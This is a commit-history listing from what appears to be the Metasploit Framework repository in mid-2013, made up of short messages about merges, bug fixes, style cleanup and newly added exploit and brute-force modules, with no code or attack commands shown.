Compare commits

...

1557 Commits

Author SHA1 Message Date
Brandon Turner a815d9277e Merge pull request #2245 from todb-r7/grammar-and-such
Trivial grammar and word choice fixes for modules
2013-08-19 13:45:18 -07:00
jvazquez-r7 809b42984e Land @2243, @wchen-r7's patch for [SeeRM #8312] 2013-08-19 15:40:24 -05:00
sinn3r d0b56e1650 Use the correct variable 2013-08-19 14:38:40 -05:00
sinn3r d89932bfd8 Use the correct variable 2013-08-19 14:33:01 -05:00
Tod Beardsley ca313806ae Trivial grammar and word choice fixes for modules 2013-08-19 13:24:42 -05:00
sinn3r 4cef4e88a6 If exception hits, make sure it's closed. 2013-08-19 13:21:53 -05:00
sinn3r 11ef366818 Properly close hashlist 2013-08-19 13:14:13 -05:00
sinn3r 89d4f0180d Make sure we close hashlist 2013-08-19 12:54:27 -05:00
jvazquez-r7 0af2f1c611 Land #2234, @ndavis-r7's patch for [SeeRM #8296] 2013-08-19 09:48:59 -05:00
sinn3r abaec32ad6 What Luke said.
"You cannot, in general, place a variable declaration in a begin
scope and use it in the ensure scope unless you use nil?. It is
better to swap line 35 and line 34."
2013-08-18 23:54:04 -05:00
sinn3r 86d6bce8c4 [FixRM #8312] - Fix file handle leaks
Fix file handle leaks for [SeeRM #8312]
2013-08-18 20:31:13 -05:00
sinn3r 6191023b67 Land #2241 - Fix undefined method `text' for nil:NilClass 2013-08-18 17:44:15 -05:00
Nicholas Davis 559dfb5a7e Fix for bug #8297
Fixed getting the policy_hash_list which can fail if elements are null
[SeeRM #89297]
2013-08-18 14:49:44 -07:00
William Vu 9467297bf7 Land #2239, OSVDB refs for Chasys and OpenX 2013-08-18 13:41:21 -06:00
Steve Tornio abd4fb778f add osvdb ref for chasys overflow 2013-08-18 06:35:28 -05:00
Steve Tornio 0037ccceed add osvdb ref for openx backdoor 2013-08-18 06:34:50 -05:00
jvazquez-r7 c5d426fc70 Land #2235, @wchen-r7's patch for [SeeRM #6264] 2013-08-17 10:05:41 -05:00
sinn3r 790654ac1b Land #2236 - Cogent DataHub HTTP Server Buffer Overflow 2013-08-16 23:28:50 -05:00
sinn3r a75a4906f2 Description update 2013-08-16 23:28:24 -05:00
sinn3r 780293d817 Minor changes 2013-08-16 23:24:40 -05:00
jvazquez-r7 a8cc15db20 Add module for ZDI-13-178 2013-08-16 18:13:18 -05:00
Tod Beardsley 1eb3c323ed Land #2175, force string encoding for RPC
Metasploit takes great pains to ensure that all strings are encoded as
plain old US-ASCII. This PR enforces this conversion over RPC as well.

[FixRM #7888]
2013-08-16 16:09:24 -05:00
Tod Beardsley 7937fbcc49 More idiomatic ruby with symbols and spaces 2013-08-16 15:59:04 -05:00
sinn3r a94c6aa72b [FixRM 6264] Check required vulnerable component before testing
tomcat_enum requires the admin web app package for it to work, but
by default many Apache Tomcat don't actually have this. The module
should check that first before trying usernames.

[FixRM 6264], see:
http://dev.metasploit.com/redmine/issues/6264

I also made changes to do_login in order to verify successful/bad
attempts more specific.
2013-08-16 15:45:23 -05:00
jvazquez-r7 e50ef209b2 Land #2233, @bperry-r7's module for nexpose 2013-08-16 14:21:22 -05:00
jvazquez-r7 f42797fc5c Fix indentation 2013-08-16 14:19:37 -05:00
Nicholas Davis 5da714f748 fixed bug #8296 where help table was not displaying properly 2013-08-16 15:10:38 -04:00
Tod Beardsley f7339f4f77 Cleanup various style issues
* Unset default username and password
  * Register SSL as a DefaultOption instead of redefining it
  * Use the HttpClient mixin `ssl` instead of datastore.
  * Unless is better than if !
  * Try to store loot even if you can't cleanup the site ID.
2013-08-16 14:03:59 -05:00
jvazquez-r7 dfa1310304 Commas in the author array 2013-08-16 13:54:46 -05:00
Tod Beardsley 24b8fb0d7b Whitespace retab, add rport 3780 as default 2013-08-16 13:31:05 -05:00
jvazquez-r7 85b050112a Land #2231, @wchen-r7's patch for [SeeRM #8114] 2013-08-16 12:52:10 -05:00
sinn3r a86b247077 Land #2224 - Add brute force module for Cisco IronPort 2013-08-16 12:07:14 -05:00
sinn3r bbe57dbf3a Some cleanup, also remove TARGETURI because not registered by default 2013-08-16 12:06:24 -05:00
sinn3r d4dbea5594 Check 200 2013-08-16 11:34:32 -05:00
Tod Beardsley e436d31d23 Use SSL by defailt 2013-08-16 11:32:10 -05:00
Tod Beardsley 60a229c71a Use rhost and rport, not local host and port 2013-08-16 11:12:39 -05:00
Tod Beardsley 646d55b638 Description should be present tense 2013-08-16 11:06:34 -05:00
Tod Beardsley f0237f07d6 Correct author and references 2013-08-16 11:04:51 -05:00
Brandon Perry 46d6fb3b42 Add module for xxe 2013-08-16 10:51:05 -05:00
Karn Ganeshen e4885b2017 updated module
removed the csrfkey parameter from login uri.
2013-08-16 13:04:02 +05:30
sinn3r 3762b84ea4 Land #2232 - CVE-2013-2465: Java storeImageArray() Invalid Array Indexing 2013-08-16 01:32:44 -05:00
jvazquez-r7 1a3b4eebdb Fix directory name on ruby 2013-08-15 22:54:31 -05:00
jvazquez-r7 795ad70eab Change directory names 2013-08-15 22:52:42 -05:00
Josh 7d3c67614d add .sublime-project to gitignore 2013-08-15 22:25:29 -05:00
jvazquez-r7 c5c2aebf15 Update references 2013-08-15 22:04:15 -05:00
jvazquez-r7 cc5804f5f3 Add Port for OSVDB 96277 2013-08-15 18:34:51 -05:00
James Lee 79acc96e9a Land #2230, enum_shares nil deref
[FixRM #8224]
2013-08-15 16:55:39 -05:00
sinn3r 0f4196d641 Land #2229 - Re-implement fail_with() function 2013-08-15 16:51:03 -05:00
sinn3r 462ccc3d36 Missed these little devils 2013-08-15 16:50:13 -05:00
sinn3r cd734acf3e [See RM 8114] - Reduce false positive if traffic is redirected
Fix complaint for hitting this false positive when the user has
all the traffic redirected.
2013-08-15 16:33:10 -05:00
sinn3r 83a179ff08 [Fix RM 8224] - undefined method `include?' for nil:NilClass
Bug due to registry_enumkeys returning nil.
2013-08-15 16:04:35 -05:00
HD Moore 6c1ba9c9c9 Switch to Failure vs Exploit::Failure 2013-08-15 14:14:46 -05:00
HD Moore bec15ebf7c Remove Failure (moved to parent class) 2013-08-15 13:31:21 -05:00
HD Moore 4706f8b54c Add fail_with() stub and move Failure from Exploit 2013-08-15 13:30:47 -05:00
Tod Beardsley 0ef4b4c982 Land #2222, remove Version from module info 2013-08-15 11:56:21 -05:00
Karn Ganeshen a65181d51b new revision - cisco_ironport_enum
Added code to check successful conn first, so now if there is no connectivity on target port, script aborts run.
New check to ensure 'set-cookie' is set by the app as expected, before any further fingerprinting & b-f starts.
If the app is not Ironport, 'set-cookie' will not be set & remains null, and so script aborts run.
De-registered 'TARGETURI.'
Registered 'username' and 'password' with default value.
Changed some run messages.
And lastly, changed the csrf key piece cos I miss a cold beer right now.
2013-08-15 04:06:30 +05:30
sinn3r 5032ed8966 Land #2226 - Ensure checksum* methods return a Fixnum 2013-08-14 16:45:34 -05:00
Brandon Turner d4a56a319e Merge pull request #2112 from shuckins-r7/bug/remove-rname-validation
Update to MDM 0.16.6
2013-08-14 13:25:15 -07:00
James Lee ed00b8c19e Ensure checksum* methods return a Fixnum
Fixes a bug in reverse_http* stagers where requests for the root URI
(i.e., "/") cause a NoMethodError on nil returned by checksum8.

[See #2216]
2013-08-14 14:09:37 -05:00
sinn3r 23c5f02e9a Land #2225 - Fix dlink_dir300_exec_telnet 2013-08-14 13:11:42 -05:00
sinn3r eac05ebcab Land #2223 - MiniWeb (Build 300) Arbitrary File Upload 2013-08-14 13:07:32 -05:00
sinn3r 98e0053dc6 Fix indent level 2013-08-14 13:07:01 -05:00
jvazquez-r7 178a7b0dbb Fix author's email format 2013-08-14 11:56:47 -05:00
Karn Ganeshen ec36970ffa cisco_ironport_enum module
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS version and performs login brute force to identify valid credentials.
2013-08-14 22:22:06 +05:30
jvazquez-r7 2a4b8e4a64 Add useful comment 2013-08-14 11:49:32 -05:00
jvazquez-r7 e6c36864c4 Fix telnet related stuff 2013-08-14 11:47:57 -05:00
Juushya d526663a53 Add module to brute force the Cisco IronPort application 2013-08-14 09:16:49 -07:00
sinn3r bd6a45fffa Get rid of version() use 2013-08-14 11:00:09 -05:00
bcoles 7145a85fb4 Add MiniWeb (Build 300) Arbitrary File Upload 2013-08-15 01:01:46 +09:30
sinn3r 163c13526d Land #2221 - Add more refs to joomla_media_upload_exec 2013-08-14 02:38:51 -05:00
sinn3r 83aec3b231 Remove module version display
Since modules no longer use the 'Version' key, there's no point to
collect and show them. It's all 0 anyway.

[See RM 8278]
2013-08-14 02:26:39 -05:00
jvazquez-r7 1d82ed176f Update joomla_media_upload_exec references 2013-08-13 23:27:01 -05:00
sinn3r bce50d1b05 Land #2220 - OSX Password Prompt Spoof 2013-08-13 22:15:14 -05:00
sinn3r 919e0d1901 MSF license, make use of print_good 2013-08-13 22:14:35 -05:00
Joe Vennix e1856651bc Incorporate the suggested edits from the PR review.
* Rewrites helpers to just use cmd_exec, since that works in meterpreter and shell.
* Changes _EOF_ to EOF, since that threw a harmless error in shell
commits
* Prefer using Post mixin API instead of rolling-own implementation
* Fixes whitespace
[SeeRM #5940]
2013-08-13 19:35:55 -05:00
Joe Vennix 99ef714d00 Updates pps description. 2013-08-13 19:35:55 -05:00
Joff Thyer 52fa000211 Get password_prompt_spoof module working. [RM #5940] 2013-08-13 19:35:55 -05:00
sinn3r 54cffdb27d Land #2219 - OSVDB-95933: Joomla Media Manager File Upload Vulnerability 2013-08-13 19:04:57 -05:00
sinn3r e912a64ccc Description change 2013-08-13 19:04:25 -05:00
sinn3r c9799c1ee6 Land #2212 - Change migrate order & print target_pid 2013-08-13 18:56:54 -05:00
jvazquez-r7 312ff1a20e Delete period from regular expressions 2013-08-13 17:50:26 -05:00
jvazquez-r7 04eed49310 Add support for FileDropper 2013-08-13 16:47:24 -05:00
jvazquez-r7 e4a570d36b Update metadata according to OSVDB 2013-08-13 16:42:53 -05:00
jvazquez-r7 2086c51b67 Add module for Joomla Upload Exploit in the wild 2013-08-13 16:27:27 -05:00
David Maloney 73e9bf9fa8 Merge branch 'bug/smart_migrate' of github.com:/dmaloney-r7/metasploit-framework into bug/smart_migrate
Conflicts:
	modules/post/windows/manage/smart_migrate.rb
2013-08-13 13:56:01 -05:00
David Maloney 6be4d9e583 missing interpolation 2013-08-13 13:52:44 -05:00
dmaloney-r7 4bfb411411 Merge pull request #8 from tabassassin/retab/2212
Retab #2212
2013-08-13 11:51:40 -07:00
Tod Beardsley e6836c0353 Land #2218, favor 'unless' over 'if' for negatives
This is a minor syntax fix for the issue brought up on
2013-08-13 10:53:53 -05:00
jvazquez-r7 31cbc270fd Favor unless over if for negative condition 2013-08-13 08:46:12 -05:00
sinn3r 92d57ef37d Fix merge conflict
Conflicts:
	msfvenom
2013-08-13 00:00:16 -05:00
sinn3r 1a34b746ee Land #2217 - Fix browser detection 2013-08-12 23:30:19 -05:00
jvazquez-r7 bc9a26d4ee Fix condition 2013-08-12 23:05:26 -05:00
jvazquez-r7 568181de84 Add sthetic spaces 2013-08-12 22:33:34 -05:00
jvazquez-r7 6d70d4924e Land #2206, @PsychoSpy module for OSVDB 94097 2013-08-12 22:27:03 -05:00
jvazquez-r7 7981601eb8 Do final cleanup on intrasrv_bof 2013-08-12 22:24:53 -05:00
Tod Beardsley 5067d8a070 Land #2215, really
Cool, now I have two lands of the same commit because I was in a funny
branch. Sorry about that.
2013-08-12 20:35:57 -05:00
Tab Assassin ebd485349f Retab smart_migrate.rb module
Retabs completely for PR #2212
2013-08-12 20:23:33 -05:00
Tab Assassin d3a60135b8 Add retab util to this branch 2013-08-12 20:19:14 -05:00
sinn3r 2d3c2c1c87 Set default target to 0 because there's only one 2013-08-12 20:01:23 -05:00
sinn3r e661695cfe Set default target to 0 because there's only one 2013-08-12 19:44:48 -05:00
sinn3r c0335cee26 Land #2214 - CVE-2013-3928: Chasys Draw IES Buffer Overflow 2013-08-12 19:16:02 -05:00
sinn3r 7562324d96 Land #2210 - CVE-2013-5019: Ultra Mini HTTPD Stack Buffer Overflow 2013-08-12 19:13:58 -05:00
sinn3r 51d9c59dcd Extra tabs, bye 2013-08-12 19:13:20 -05:00
James Lee 3827b14103 Land #1726, ssl verify mode
Conflicts:
	lib/rex/socket/parameters.rb
Fix doc strings
2013-08-12 17:57:10 -05:00
Nathan Einwechter db78ffcc46 ... 2013-08-12 18:21:10 -04:00
Nathan Einwechter 49bcec5c92 Additional cleanup 2013-08-12 18:20:03 -04:00
jvazquez-r7 b3f229ff59 Add module for CVE-2013-3928 2013-08-12 17:18:30 -05:00
Nathan Einwechter 7014322dfd Code cleanup 2013-08-12 18:16:00 -04:00
Nathan Einwechter 264fe32705 Added new badchars 2013-08-12 18:08:49 -04:00
Nathan Einwechter bbc93b2a58 msftidy 2013-08-12 15:14:01 -04:00
Nathan Einwechter 28f030494e Use tcp mixin/clean corrupt bytes 2013-08-12 15:12:15 -04:00
jvazquez-r7 4480dc3bec Land #2213, @todb-r7's deletion of deprecated modules 2013-08-12 11:36:24 -05:00
James Lee f6969bc918 Land #1575, 'wmap_sites -d' improvements 2013-08-12 11:32:21 -05:00
James Lee a7ff8703b7 Remove errant return
Installing a trap for "INT" is still wrong, it should be rescuing
Interrupt instead. This is just a bandaid to keep it from crashing
msfconsole any time ctrl-c is used after running wmap_run for the first
time.
2013-08-12 11:30:23 -05:00
jvazquez-r7 b1fc8308c1 Land #2211, @bcoles exploit for CVE-201-2620 2013-08-12 11:23:20 -05:00
Tod Beardsley bfb5040dbf Remove deprecated modules
These three modules are well over their deprecation dates. Making good
on that threat now.

  * service_permissions: Marked for removal on 2013-01-10
  * bypassuac: Marked for removal on 2013-01-04
  * ms10_092_schelevator: Marked for removal on 2013-06-01
2013-08-12 11:21:45 -05:00
jvazquez-r7 8ac01d3b8e Fix description and make it aggressive 2013-08-12 11:19:25 -05:00
David Maloney c9bd791ff6 fix smart_migrate choice order
was trying winlogon first
should do explorer first
2013-08-12 11:02:27 -05:00
Nathan Einwechter 7854c452d2 Added more payload padding 2013-08-12 11:10:10 -04:00
Nathan Einwechter 9f33a59dc2 Fix target ret 2013-08-12 11:04:55 -04:00
Nathan Einwechter 6f96445b42 Change target ret/cleanup 2013-08-12 10:13:48 -04:00
Nathan Einwechter a35d548979 Use HttpClient 2013-08-12 10:01:01 -04:00
sinn3r c87db60d2a Land #2207 - HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow 2013-08-12 01:19:01 -05:00
bcoles d63d7bc7da Add Open-FTPD 1.2 Writable Directory Traversal Execution 2013-08-12 08:49:49 +09:30
Nathan Einwechter 896320ed42 fix typo 2013-08-11 16:48:43 -04:00
Nathan Einwechter 4b14fa53e0 tidy debugs 2013-08-11 16:39:41 -04:00
Nathan Einwechter 90ef224c46 Implement CVE-2012-5019 2013-08-11 16:33:40 -04:00
jvazquez-r7 f2e5092fd5 Add module for ZDI-13-179 2013-08-10 18:44:33 -05:00
Nathan Einwechter 185ef2ecae msftidy 2013-08-10 16:01:44 -04:00
Nathan Einwechter 6fe4e3dd0e Added Intrasrv 1.0 BOF 2013-08-10 15:56:07 -04:00
jvazquez-r7 6a196d0a40 Land #2205, @wchen-r7 and @m-1-k-3's change for dlink_dir300_exec_telnet 2013-08-09 15:58:07 -05:00
jvennix-r7 8278808a37 Merge pull request #2204 from todb-r7/bug/undo-optstring-validator
Revert "OptString specs and better validation"
2013-08-09 13:42:46 -07:00
sinn3r 5436ec7dd3 Title change for dlink_dir300_exec_telnet
Title change for dlink_dir300_exec_telnet. Also correct the email
format.
2013-08-09 15:41:50 -05:00
Tod Beardsley 81defe8113 Add the string_list.txt fixture back 2013-08-09 15:39:40 -05:00
Tod Beardsley 02f460287b Revert "OptString specs and better validation"
This reverts commit d66779ba4c.

Specifically, this commit was causing trouble when a datastore was
getting an Integer. For some reason (as yet undiscovered), the option
normalizer wasn't trying to Integer#to_s such arguments.

This kind of thing is going to happen a lot. For now, I'd rather just
end up with the ducktype, and attack the normalizer in a seperate fix.
2013-08-09 15:30:42 -05:00
sinn3r 4558aca7ca Land #2136 - Removed requirement for note.data to be present 2013-08-09 15:29:25 -05:00
sinn3r 5128458c90 Land #2201 - Better check for ppr_flatten_rec 2013-08-09 14:44:23 -05:00
sinn3r 021c358159 Land #2203 - Fix regex for x64 detection 2013-08-09 13:23:38 -05:00
Tod Beardsley 6c0b067d7c Land #2163, known secret session cookie for RoR
From @joernchen, leverages an infoleak to gain a shell on rails
applications. There is no patch, since you are expected to keep your
secrets, well, secret.
2013-08-09 12:30:37 -05:00
Tod Beardsley 969b380d71 More explicit title, grammar check on description 2013-08-09 12:27:45 -05:00
Tod Beardsley 13ea8aaaad VALIDATE_COOKIE better grammar on fail message 2013-08-09 12:26:12 -05:00
Tod Beardsley 94e7164b01 Allow user to choose to validate the cookie or not 2013-08-09 12:22:28 -05:00
joernchen of Phenoelit 376c37d4cc Two more fixes, Arch and unneeded include. 2013-08-09 09:23:50 +02:00
Sagi Shahar 7178633140 Fixed architecture detection in bypassuac modules 2013-08-09 03:42:02 +02:00
Tod Beardsley 155c121cbb More spacing between ends 2013-08-08 16:35:38 -05:00
Tod Beardsley f4fc0ef3fb Moved classes into the Metasploit3 space
I'm just worried about all those naked classes just hanging around in
the top namespace. This shouldn't impact functionality at all.

While most modules don't define their own classes (this is usually the
job of Msf::Exploit and Rex), I can't think of a reason why you
shouldn't (well, aside from reusability). And yet, very rarely do
modules do it. It's not unknown, though -- the drda.rb capture module
defines a bunch of Constants, and the
post/windows/gather/credentials/bulletproof_ftp.rb module defines some
more interesting things.

So, this should be okay, as long as things are defined in the context of
the Metasploit module proper.
2013-08-08 16:22:34 -05:00
Tod Beardsley 4e166f3da4 Adding more blank lines between methods
For readability
2013-08-08 16:20:38 -05:00
jvazquez-r7 567873f3cc Use normalize_uri a little better 2013-08-08 15:12:51 -05:00
jvazquez-r7 4a609504e3 Land #2199, @jlee-r7's exploit for CVE-2013-4211 2013-08-08 14:57:28 -05:00
jvazquez-r7 06ebc686c4 Land #2194, @CharlieEriksen exploit for CVE-2013-5036 2013-08-08 14:50:28 -05:00
jvazquez-r7 40a61ec654 Do minor cleanup 2013-08-08 14:47:46 -05:00
Meatballs 318280fea7 Add 7/2k8 RTM versions 2013-08-08 20:02:14 +01:00
Meatballs d64352652f Adds unsupported Vista versions 2013-08-08 19:58:40 +01:00
Meatballs 08c32c250f File versions 2013-08-08 19:42:14 +01:00
sinn3r a03d71d60e Land #2181 - More targets for hp_sys_mgmt_exec
Thanks mwulftange!
2013-08-08 13:35:33 -05:00
sinn3r a73f87eaa5 No autodetect. Allow the user to manually select. 2013-08-08 13:34:25 -05:00
Charlie Eriksen 28b36ea29b Removing a space at EOL I missed. 2013-08-08 14:30:53 -04:00
Charlie Eriksen 1c6e994fe8 Adding improvements based on Juan's feedback 2013-08-08 14:29:35 -04:00
sinn3r 84090b73b1 Land #2197 - Tabassassin msftidy 2013-08-08 13:15:32 -05:00
James Lee 080ca0b1b1 Use fail_with when failing instead of print_error 2013-08-08 13:12:39 -05:00
jvazquez-r7 a7c80ebfc2 Land #2185, @bmerinofe's post module for dns cache dumping 2013-08-08 12:49:37 -05:00
jvazquez-r7 5d0e868701 Land #2192 after cleanup 2013-08-08 08:44:17 -05:00
jvazquez-r7 74eeacf9f2 Fix regex 2013-08-08 08:40:45 -05:00
James Lee ca7c0defe1 No need to rescue if we're just re-raising 2013-08-07 17:36:07 -05:00
James Lee c808930f15 Add module for CVE-2013-4211, openx backdoor 2013-08-07 17:24:47 -05:00
root 3a24765585 Adding CVE ID 2013-08-07 18:11:43 -04:00
sinn3r 9bc1eca944 Land #2198 - Mozilla Firefox CVE-2013-1690 (FBI) 2013-08-07 16:01:55 -05:00
jvazquez-r7 0f975da5f4 Update target info and something else... 2013-08-07 16:00:06 -05:00
jvazquez-r7 d1beb313f6 Add module for 2013-1690 2013-08-07 15:36:54 -05:00
Borja Merino 4fe8e51036 Merge pull request #2 from todb-r7/revert-bmerinofe-gemfile
Revert Gemfile.lock to previous
2013-08-07 10:33:43 -07:00
Tod Beardsley f307aa70d3 Add some old hard-tabs for sanity 2013-08-07 12:31:56 -05:00
Tod Beardsley ef224b175d Allow for tabs or spaces as indentation
This signals a move to allowing for normal Ruby indentation (2 space
soft tabs). This change will check files for indentation of spaces or of
tabs, since we don't want to fail out all modules quite yet.

For more, see
https://github.com/rapid7/metasploit-framework/wiki/Indentation-Standards
where all details of the conversion plan will be documented in order to
minimize the amount of whitespace conflict we are sure to encounter over
this conversion.
2013-08-07 11:45:46 -05:00
Tod Beardsley be01cd96a3 Adds a test module for space checking
This module should throw three errors on lines 17, 18, and 19 when
checked against the new msftidy.rb that is space-tolerant (but not
tab-space tolerant)
2013-08-07 11:43:53 -05:00
Tod Beardsley c5f0651b7e Add *.notab to gitignore
These are artifacts of tools/dev/retab.rb
2013-08-07 11:39:36 -05:00
Tod Beardsley 914ec856f0 Add a retab utility
Usage: tools/dev/retab.rb directory

will retab with 2-width spaces rather than tabs for indentation.

This utility should be used by the @tabassassin account when it's
unleashed on the Metasploit code base in order to make git blame a
little easier to spot. (diffs should use -b or -w to avoid seeing
@tabassassin's changes)
2013-08-07 11:34:49 -05:00
Tod Beardsley d9dc217ef7 Revert Gemfile.lock to previous 2013-08-07 10:52:30 -05:00
jvazquez-r7 821673c4d2 Try to fix a little description 2013-08-07 10:26:39 -05:00
jvazquez-r7 33ac0c5c3f Make exploit more print friendly 2013-08-07 10:21:14 -05:00
jvazquez-r7 32436973e4 Land #2192, @m-1-k-3's exploit for OSVDB-89861 2013-08-07 10:16:49 -05:00
jvazquez-r7 ae685ac41d Beautify description 2013-08-07 09:52:29 -05:00
jvazquez-r7 afb8a95f0a Land #2179, @m-1-k-3's exploit for OSVDB-92698 2013-08-07 09:00:41 -05:00
Charlie Eriksen a4722afe5d Merge pull request #3 from CharlieEriksen/squash-rce
Adding OSVDB reference ID
2013-08-07 04:17:14 -07:00
root 7412981138 Adding an OSVDB reference 2013-08-07 07:15:00 -04:00
James Lee fff5355c0b Land #2177, msfcli specs 2013-08-06 16:27:08 -05:00
Charlie Eriksen 5675baaea2 Merge pull request #2 from CharlieEriksen/squash-rce
Adding a check and fixing TARGETURI
2013-08-06 13:22:05 -07:00
root 36bab2fdfa Adding a space between init and check 2013-08-06 16:14:21 -04:00
root be683d5dc6 Fixing the TARGETURI variable, adding check 2013-08-06 16:13:44 -04:00
James Lee ab976ddf8f Fix genarate command in msfconsole
Thanks @Meatballs1 for spotting
2013-08-06 14:46:53 -05:00
James Lee 55147d9bde Fix regex to work on OSX's file(1) 2013-08-06 14:00:35 -05:00
Charlie Eriksen 78e2344381 Merge pull request #1 from CharlieEriksen/squash-rce
Adding Squash RCE exploit module
2013-08-06 11:51:23 -07:00
root a745ec8fa6 Adding reference 2013-08-06 14:43:25 -04:00
root cfd5f29220 Fixing the use of APIKEY, which is not needed 2013-08-06 14:10:48 -04:00
root 69a86b60e2 Added initial squash RCE exploit 2013-08-06 14:00:17 -04:00
HD Moore c73e417531 Merge pull request #2171 from frederic/master
add new target in libupnp_ssdp_overflow exploit : Axis Camera M1011
2013-08-05 18:31:41 -07:00
m-1-k-3 dd35495fb8 dir 300 and 600 auxiliary module replacement 2013-08-05 22:28:59 +02:00
m-1-k-3 786f16fc91 feedback included 2013-08-05 21:55:30 +02:00
jvazquez-r7 9790181dd2 Land #2176, @wchen-r7's fix for [TestRM #8272] 2013-08-05 13:10:25 -05:00
jvazquez-r7 ce62e12216 Land #2191, @todb-r7's fix to avoid race with powershell mixin 2013-08-05 10:07:35 -05:00
Tod Beardsley 40f015f596 Avoid require race with powershell 2013-08-05 09:56:32 -05:00
jvazquez-r7 1f767df80a Land #2190, @todb-r7's (more than) cosmetic changes 2013-08-05 09:53:17 -05:00
Tod Beardsley 8431eb7a79 Msftidy fixes, also use correct possessive plurals
http://englishplus.com/grammar/00000132.htm
2013-08-05 09:43:38 -05:00
Tod Beardsley bddcb33507 Update description for reverse_https_proxy 2013-08-05 09:35:14 -05:00
Tod Beardsley a885ff9bcc Use consistent caps for 'PowerShell' 2013-08-05 09:33:49 -05:00
Tod Beardsley 5ea67586c8 Rewrite description for MS13-005
The first part of the description was copy-pasted from

http://packetstormsecurity.com/files/122588/ms13_005_hwnd_broadcast.rb.txt

which contained some grammatical errors. Please try to avoid cribbing
other researchers' descriptions directly for Metasploit modules.
2013-08-05 09:29:29 -05:00
Tod Beardsley e7206af5b5 OSVDB and comment doc fixes 2013-08-05 09:08:17 -05:00
jvazquez-r7 5ef1e507b8 Make msftidy happy with http_login 2013-08-05 08:41:07 -05:00
jvazquez-r7 ea60a05c6c Land #2189, @wchen-r7's fix for [TestRM #8279] 2013-08-05 08:33:51 -05:00
bmerinofe 98c8c16803 Change offset values and hostname length 2013-08-05 12:29:54 +02:00
Markus Wulftange 9955899d9a Minor formal fixes 2013-08-04 08:03:02 +02:00
sinn3r 8be3f511a4 Fix undefined variable 'path' for http_login 2013-08-03 21:35:22 -05:00
bmerinofe 3e6de5d2e9 added a post-exploitation module to dump the cache dns entries 2013-08-03 13:37:32 +02:00
Markus Wulftange 8cc07cc571 Merge Linux and Windows exploit in multi platform exploit 2013-08-02 18:49:03 +02:00
m-1-k-3 a19afd163a feedback included 2013-08-02 17:30:39 +02:00
sinn3r 10e9b97a88 Land #2180 - Accepting args for x64 osx exec payload 2013-08-02 00:45:09 -05:00
Markus Wulftange 4a127c2ed2 Add hp_sys_mgmt_exec module for Linux and enhance module for Windows
The hp_sys_mgmt_exec module for Linux is a port of the Windows module with minor changes due to the requirement of quotes. It also uses Perl instead of PHP as PHP may not always be in the environment PATH. Although the Windows module works perfectly, it now uses the same technique to encode the command (thankfully, PHP adopted major syntax characteristics and functions from Perl).
2013-07-31 22:05:25 +02:00
Joe Vennix 592176137a Rewrite osx x64 cmd payload to accept args.
[SeeRM #8260]
2013-07-31 08:50:28 -05:00
m-1-k-3 15906b76db dir300 and 615 command injection 2013-07-31 14:36:51 +02:00
m-1-k-3 6b514bb44a dir300 and 615 command injection telnet session 2013-07-31 14:34:03 +02:00
sinn3r 3c8bc6b522 More coverage for msfcli spec 2013-07-31 04:37:36 -05:00
sinn3r 8c47f1df2d We don't need this option anymore 2013-07-31 03:30:34 -05:00
sinn3r af0046658b Change the way file is stored 2013-07-31 03:28:24 -05:00
sinn3r 18c0f879fa More code coverage for msfcli_spec 2013-07-30 21:31:53 -05:00
allfro 9180dd59fe Patch for string encoding issues with msgpack
Fixes an issue that causes exploits to fail if the PAYLOAD option is the last option to get marshalled in an MSFRPC dictionary. The patch adjusts the string's encoding to match the internal default encoding used by Ruby. Hence, making `fetch()` succeed.
2013-07-30 13:38:44 -04:00
Frederic Basse 5e1def26aa remove Axis M1011 fingerprint, may not be specific enough to be used automatically. 2013-07-30 09:54:33 +02:00
jvazquez-r7 12871c2fa4 Land @todbr7's recovery for @jvazquez-r7's disaster with #2168 landing 2013-07-29 22:22:14 -05:00
Dhiru Kholia 1b6f6b8bf0 Land #2168 again
Adding Dhiru's module back now that things are straight.
2013-07-29 22:10:25 -05:00
Tod Beardsley 9f5f191a6b Add Main.swf from 593363c 2013-07-29 21:53:40 -05:00
Tod Beardsley 7e539332db Reverting disaster merge to 593363c5f with diff
There was a disaster of a merge at 6f37cf22eb that is particularly
difficult to untangle (it was a bad merge from a long-running local
branch).

What this commit does is simulate a hard reset, by doing thing:

 git checkout -b reset-hard-ohmu
 git reset --hard 593363c5f9
 git checkout upstream-master
 git checkout -b revert-via-diff
 git diff --no-prefix upstream-master..reset-hard-ohmy > patch
 patch -p0 < patch

Since there was one binary change, also did this:

 git checkout upstream-master data/exploits/CVE-2012-1535/Main.swf

Now we have one commit that puts everything back. It screws up
file-level history a little, but it's at least at a point where we can
move on with our lives. Sorry.
2013-07-29 21:47:52 -05:00
Frederic Basse 63940d438e add new target in libupnp_ssdp_overflow exploit : Axis Camera M1011 2013-07-30 01:56:10 +02:00
jvazquez-r7 300781823d Undo bad landing
This reverts commit e624ed18ad, reversing
changes made to 593363c5f9.
2013-07-29 17:39:12 -05:00
jvazquez-r7 6f37cf22eb Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-29 17:28:35 -05:00
jvazquez-r7 e624ed18ad Merge branch 'landing-pr2168' 2013-07-29 17:23:15 -05:00
jvazquez-r7 438fbababd Land #2158, @kholia's post module to collect .ecryptfs info 2013-07-29 17:21:10 -05:00
jvazquez-r7 b29d18d8b8 Merge branch 'ecryptfs-creds' of https://github.com/kholia/metasploit-framework 2013-07-29 16:41:41 -05:00
jvazquez-r7 05be76ecb7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-07-29 16:41:22 -05:00
jvazquez-r7 593363c5f9 Land #2154, @wchen-r7's msfcli optimizations and refactoring 2013-07-29 16:38:32 -05:00
sinn3r ab75d00f8a Land #2169 - Description update 2013-07-29 14:24:57 -05:00
Tod Beardsley 9304bbe938 Land #3 from @Meatballs1, more better description 2013-07-29 13:37:08 -05:00
sinn3r be5bbd64be Show some examples 2013-07-29 13:26:39 -05:00
sinn3r 5efcbbd474 Land #2167 - PineApp Mail-SeCure livelog.html Exec 2013-07-29 13:18:18 -05:00
sinn3r 7967426db1 Land #2166 - PineApp Mail-SeCure ldapsyncnow.php EXEC 2013-07-29 13:16:42 -05:00
Meatballs 7801eadbc2 psh description 2013-07-29 19:14:12 +01:00
sinn3r baa0b983c8 Land #2165 - PineApp Mail-SeCure test_li_connection.php CMD EXEC 2013-07-29 13:13:55 -05:00
Dhiru Kholia 8379225e9b make msftidy happy (hopefully) 2013-07-29 23:42:29 +05:30
sinn3r 5cbe464963 Missed this var 2013-07-29 12:21:40 -05:00
